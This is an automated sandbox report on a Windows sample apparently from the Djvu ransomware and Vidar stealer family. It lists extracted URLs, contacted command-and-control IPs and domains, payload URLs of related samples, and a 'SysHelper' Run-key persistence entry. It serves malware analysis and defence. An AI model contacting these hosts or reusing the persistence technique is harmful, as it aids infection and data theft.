https://steamcommunity.com/market/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.amazon.com/	n8XBpFdVFU.exe, 00000004.00000003.1717322901.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonIW	n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.0000000000970000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.000000000097A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.twitter.com/	n8XBpFdVFU.exe, 00000006.00000003.1717762900.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	n8XBpFdVFU.exe, 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://95.217.9.149/bz(	build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/y	build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://medal.tv	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://broadcast.st.dl.eccdnx.com	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/x	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://steamcommunity.com/E	build2.exe, 00000008.00000002.1876440221.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/n	build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
95.217.9.149	unknown	Germany	24940	HETZNER-ASDE	false
211.119.84.111	cajgtus.com	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
96.17.209.196	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
175.119.10.231	sdfjhuz.com	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431226
Start date and time:	2024-04-24 17:46:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	n8XBpFdVFU.exe renamed because original name is a hash value
Original Sample Name:	19f46c713419f534c1532645b764c7b4.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@23/1409@8/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 66 Number of non-executed functions: 217
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: n8XBpFdVFU.exe

Simulations

Behavior and APIs

Time	Type	Description
16:46:53	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
16:46:54	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe s>--Task
16:47:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
17:46:58	API Interceptor	1x Sleep call for process: n8XBpFdVFU.exe modified
17:47:09	API Interceptor	1x Sleep call for process: build2.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.139.220	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
95.217.9.149	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
211.119.84.111	UUVupNLfBb.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	nidoe.org/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	nidoe.org/tmp/index.php
	sgullhIiBr.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, PureLog Stealer	Browse	sajdfue.com/files/1/build3.exe
	SKHOtnHl7J.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	emgvod.com/uploads/logo2.jpg
	iZ7kyxHDY2.exe	Get hash	malicious	SmokeLoader, Vidar	Browse	sjyey.com/tmp/index.php
	nJa31W9P4p.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php
	KMPrEVaSfH.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	habrafa.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true
	7abf5ad882fd72332b0b7fb530c8c6505852d4f7ea39edfe444218bdcd9c7f0e_dump.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc	Browse	emgvod.com/emd/1.jpg
	AVd1AwJFiQ.exe	Get hash	malicious	LummaC, Amadey, SmokeLoader	Browse	cbinr.com/forum/Plugins/clip64.dll
	SecuriteInfo.com.Win32.TrojanX-gen.7072.18749.exe	Get hash	malicious	SmokeLoader	Browse	gxutc2c.com/tmp/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cajgtus.com	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	186.145.236.18
	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	62.150.232.50
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	63.143.98.185
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.163.142.13
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	200.45.93.45
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	85.11.159.22
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	81.183.132.103
steamcommunity.com	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	Vidar	Browse	96.17.209.196
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.65.44.84
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.66.133.162
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	96.17.209.196
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
sdfjhuz.com	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	201.103.73.225
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.133
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	175.119.10.231
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.147.159.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	190.218.33.18
api.2ip.ua	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.246.168
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
AKAMAI-ASUS	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	Vidar	Browse	96.17.209.196
	5RiFmXTOMp.elf	Get hash	malicious	Mirai	Browse	104.100.28.29
	http://www.agilgas.com.br/wp-content/uploads/2024/04/tryythgghjhgfj.html#T0RQQ2pCOVhPSTJvNm12WEYvSGFNOUI2Q3J4bElveUFOazNibHR2QWI4SGp2aG4yU2kwVytiSzF6WjZnZXN5YUFpUTM5dmpINHlOM2JXdGVtdUM3c2UyMk1yVXROeVVDVVMzYUdOeHFWdDg9	Get hash	malicious	Phisher	Browse	23.61.208.29
	https://campaign-statistics.com/link_click/PJygYHTMZ2_OXDfP/30633247af9f78d20f1e067eab9a8276	Get hash	malicious	HTMLPhisher	Browse	23.209.84.171
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.65.44.84
	https://i.imgur.com/EoTj4iI.png	Get hash	malicious	Unknown	Browse	184.28.252.71
	https://i.imgur.com/VlAllek.png	Get hash	malicious	Unknown	Browse	184.28.252.71
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
SKB-ASSKBroadbandCoLtdKR	Hs97Nxxy5u.elf	Get hash	malicious	Mirai	Browse	115.178.90.212
	sBgS8t0K7i.elf	Get hash	malicious	Mirai	Browse	1.250.216.64
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	175.119.10.231
	wMPum9KAnI.elf	Get hash	malicious	Mirai	Browse	222.233.97.181
	xzk9TKqNoI.elf	Get hash	malicious	Mirai	Browse	61.255.138.222
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	58.238.234.35
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	211.203.192.131
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	211.207.215.133
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	218.39.25.131
	pGTQLD9ukH.elf	Get hash	malicious	Mirai	Browse	219.248.255.72
LGDACOMLGDACOMCorporationKR	Hs97Nxxy5u.elf	Get hash	malicious	Mirai	Browse	61.33.74.18
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.133
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	oVOImRIAaz.elf	Get hash	malicious	Mirai	Browse	211.168.166.45
	1mHUcsxKG6.elf	Get hash	malicious	Mirai	Browse	123.143.169.235
	wMPum9KAnI.elf	Get hash	malicious	Mirai	Browse	61.248.201.89
	xzk9TKqNoI.elf	Get hash	malicious	Mirai	Browse	118.131.165.73
CLOUDFLARENETUS	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	https://www.maultalk.com/url.php?to=https://www.serserijeans.com/vkrWO3usk17alli2Psx0qFe5aglFe5dy9WO3rg	Get hash	malicious	Unknown	Browse	172.67.129.156
	https://midissant.net	Get hash	malicious	Unknown	Browse	104.21.90.87
	8dToMPcvO1.elf	Get hash	malicious	Mirai	Browse	172.64.166.244
	sBgS8t0K7i.elf	Get hash	malicious	Mirai	Browse	172.64.166.246
	https://8fq7c.eceydri.com/WK9D/	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://womenofgoodworks-my.sharepoint.com/:b:/g/personal/tia_womenofgoodworks_org/EVICmRtg-CVNtsngkb8KQlgBH2LYVfumjH5s-SFbeQjN_Q	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://cloudacc.page.link/RtQw	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://www.agilgas.com.br/wp-content/uploads/2024/04/tryythgghjhgfj.html#T0RQQ2pCOVhPSTJvNm12WEYvSGFNOUI2Q3J4bElveUFOazNibHR2QWI4SGp2aG4yU2kwVytiSzF6WjZnZXN5YUFpUTM5dmpINHlOM2JXdGVtdUM3c2UyMk1yVXROeVVDVVMzYUdOeHFWdDg9	Get hash	malicious	Phisher	Browse	172.67.163.224
	https://microloft.net/?r=8e28e856-be8d-4446-a396-cdcd78169ab8&rg=eu	Get hash	malicious	Unknown	Browse	172.66.40.179

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
